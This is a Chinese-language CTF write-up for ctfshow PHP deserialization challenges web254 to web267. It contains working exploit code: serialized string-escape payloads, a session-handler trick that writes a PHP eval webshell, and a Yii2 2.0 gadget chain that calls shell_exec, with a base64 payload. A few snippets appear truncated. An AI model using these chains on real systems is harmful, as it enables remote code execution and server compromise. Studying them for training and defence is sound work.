PHP的魔法方法
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:
1__construct(),类的构造函数
2
3__destruct(),类的析构函数
4
5__call(),在对象中调用一个不可访问方法时调用
6
7__callStatic(),用静态方式中调用一个不可访问方法时调用
8
9__get(),获得一个类的成员变量时调用
10
11__set(),设置一个类的成员变量时调用
12
13__isset(),当对不可访问属性调用isset()或empty()时调用
14
15__unset(),当对不可访问属性调用unset()时被调用。
16
17__sleep(),执行serialize()时,先会调用这个函数
18
19__wakeup(),执行unserialize()时,先会调用这个函数
20
21__toString(),类被当成字符串时的回应方法
22
23__invoke(),调用函数的方式调用一个对象时的回应方法
24
25__set_state(),调用var_export()导出类时,此静态方法会被调用。
26
27__clone(),当对象复制完成时调用
28
29__autoload(),尝试加载未定义的类
30
31__debugInfo(),打印所需调试信息
web254
1<?php
2
3 ?>';
4 public $code='xrntkk';
5}
6
7$poc = new ctfshowvip();
8echo urlencode(serialize($poc));
web262
字符串逃逸
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-03 02:37:19
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-03 16:05:38
9# @message.php
10# @email: h1xa@ctfer.com
11# @link: https://ctfer.com
12
13*/
14
15
16error_reporting(0);
17class message{
18 public $from;
19 public $msg;
20 public $to;
21 public $token='user';
22 public function __construct($f,$m,$t){
23 $this->from = $f;
24 $this->msg = $m;
25 $this->to = $t;
26 }
27}
28
29$f = $_GET['f'];
30$m = $_GET['m'];
31$t = $_GET['t'];
32
33if(isset($f) && isset($m) && isset($t)){
34 $msg = new message($f,$m,$t);
35 $umsg = str_replace('fuck', 'loveU', serialize($msg));
36 setcookie('msg',base64_encode($umsg));
37 echo 'Your message has been sent';
38}
39
40highlight_file(__FILE__);
message.php
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-03 15:13:03
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-03 15:17:17
9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13highlight_file(__FILE__);
14include('flag.php');
15
16class message{
17 public $from;
18 public $msg;
19 public $to;
20 public $token='user';
21 public function __construct($f,$m,$t){
22 $this->from = $f;
23 $this->msg = $m;
24 $this->to = $t;
25 }
26}
27
28if(isset($_COOKIE['msg'])){
29 $msg = unserialize(base64_decode($_COOKIE['msg']));
30 if($msg->token=='admin'){
31 echo $flag;
32 }
33}
我们的目的就是想办法让token等于admin
信息传输的过程中使用的序列化和反序列化,存在字符串逃逸,通过逃逸我们可以使token=admin
之前写过我就懒得重新写了
https://ctf.show/writeups/706838
首先先生成一段序列
1<?php
2class message{
3 public $from;
4 public $msg;
5 public $to = '123';
6 public $token='admin';
7
8}
9$payload = new message();
10echo serialize($payload);
11
12O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:3:"123";s:5:"token";s:5:"admin";}
截取后面一部分作为to的值传入
payload:
?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263
访问/www.zip拿到源码
审计代码我们可以在/inc/inc.php中找到这样一个危险方法
假如username和password可控,我们就可以写入木马
但是这是一个__destruct方法,想要触发必须要经过反序列化,那这道题哪里有进行反序列的地方呢
文章 - 带你走进PHP session反序列化漏洞 - 先知社区
这篇文章讲得很详细
归根结底这个漏洞之所以存在是由于序列化和反序列化时使用的处理器不同造成的
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 php_serialize
这道题的php版本为7.3.11,默认使用的处理器为php_serialize
而在/inc/inc.php中却设置处理器为php
也就是说序列化和反序列化所使用的处理器不同
所以我们可以根据php处理器的格式构造出payload
exp:
1<?php
2
3class User{
4 public $username;
5 public $password;
6 function __construct(){
7 $this->username = '1.php';
8 $this->password = '<?php eval($_POST[1]);?>';
9 }
10}
11
12echo urlencode(base64_encode('|'.serialize(new User())));
13
14?>
我们将cookie中的limit修改为我们序列化后的结果
/index.php
1 if(isset($_SESSION['limit'])){
2 $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
3 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
4 }else{
5 setcookie("limit",base64_encode('1'));
6 $_SESSION['limit']= 1;
7 }
修改后访问/check.php进行反序列化
最后访问/log-1.php
成功写入
web264
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-03 02:37:19
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-03 16:05:38
9# @message.php
10# @email: h1xa@ctfer.com
11# @link: https://ctfer.com
12
13*/
14
15
16error_reporting(0);
17session_start();
18
19class message{
20 public $from;
21 public $msg;
22 public $to;1
23 public function __construct($f,$m,$t){
24 $this->from = $f;
25 $this->msg = $m;
26 $this->to = $t;
27 }
28}
29
30$f = $_GET['f'];
31$m = $_GET['m'];
32$t = $_GET['t'];
33
34if(isset($f) && isset($m) && isset($t)){
35 $msg = new message($f,$m,$t);
36 $umsg = str_replace('fuck', 'loveU', serialize($msg));
37 $_SESSION['msg']=base64_encode($umsg);
38 echo 'Your message has been sent';
39}
40
41highlight_file(__FILE__);
message.php
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-03 15:13:03
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-03 15:17:17
9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13session_start();
14highlight_file(__FILE__);
15include('flag.php');
16
17class message{
18 public $from;
19 public $msg;
20 public $to;
21 public $token='user';
22 public function __construct($f,$m,$t){
23 $this->from = $f;
24 $this->msg = $m;
25 $this->to = $t;
26 }
27}
28
29if(isset($_COOKIE['msg'])){
30 $msg = unserialize(base64_decode($_SESSION['msg']));
31 if($msg->token=='admin'){
32 echo $flag;
33 }
34}
这题是修复了web262的非预期解,也就是可以直接在message.php修改cookie进行反序列化
所以解法同web262
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
注意要在message.php的cookie中加上msg=1
web265
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-04 23:52:24
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-05 00:17:08
9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13
14error_reporting(0);
15include('flag.php');
16highlight_file(__FILE__);
17class ctfshowAdmin{
18 public $token;
19 public $password;
20
21 public function __construct($t,$p){
22 $this->token=$t;
23 $this->password = $p;
24 }
25 public function login(){
26 return $this->token===$this->password;
27 }
28}
29
30$ctfshow = unserialize($_GET['ctfshow']);
31$ctfshow->token=md5(mt_rand());
32
33if($ctfshow->login()){
34 echo $flag;
35}
这题指针引用使password恒等于token即可
exp
1<?php
2 class ctfshowAdmin{
3 public $token;
4 public $password;
5
6 public function __construct($t,$p){
7 $this->token=$t;
8 $this->password = $p;
9 }
10 }
11 $a = new ctfshowAdmin("我能打上海major","全场欢呼!DANKING!DANKING!");
12 $a->password = &$a->token;
13 echo urlencode(serialize($a));
web266
1<?php
2
3/*
4# -*- coding: utf-8 -*-
5# @Author: h1xa
6# @Date: 2020-12-04 23:52:24
7# @Last Modified by: h1xa
8# @Last Modified time: 2020-12-05 00:17:08
9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13
14highlight_file(__FILE__);
15
16include('flag.php');
17$cs = file_get_contents('php://input');
18
19
20class ctfshow{
21 public $username='xxxxxx';
22 public $password='xxxxxx';
23 public function __construct($u,$p){
24 $this->username=$u;
25 $this->password=$p;
26 }
27 public function login(){
28 return $this->username===$this->password;
29 }
30 public function __toString(){
31 return $this->username;
32 }
33 public function __destruct(){
34 global $flag;
35 echo $flag;
36 }
37}
38$ctfshowo=@unserialize($cs);
39if(preg_match('/ctfshow/', $cs)){
40 throw new Exception("Error $ctfshowo",1);
41}
php大小写不敏感,大小写绕过
exp
1<?php
2class Ctfshow{
3
4}
5echo serialize(new Ctfshow());
O:7:"Ctfshow":0:{}
web267
考点:Yii2 反序列化漏洞
有一个登录入口
弱口令成功登入admin/admin
在/index.php?r=site%2Fabout处查看源代码看到hint
访问/index.php?r=site%2Fabout&view-source
题目给出了入口点
从源码中我们可以知道这道题用的是yii框架,而且为2.0版本
直接用poc总感觉缺了点什么,那自己搓一搓吧,但是过程就不放在这里了
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cat /flag | tee 1';//命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
没回显,用tee将输出复制到1文件中
payload
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YV
JlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaV
xyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNzoiY2F0IC9mbGFnIHwgdGVlID
EiO31pOjE7czozOiJydW4iO319fX0=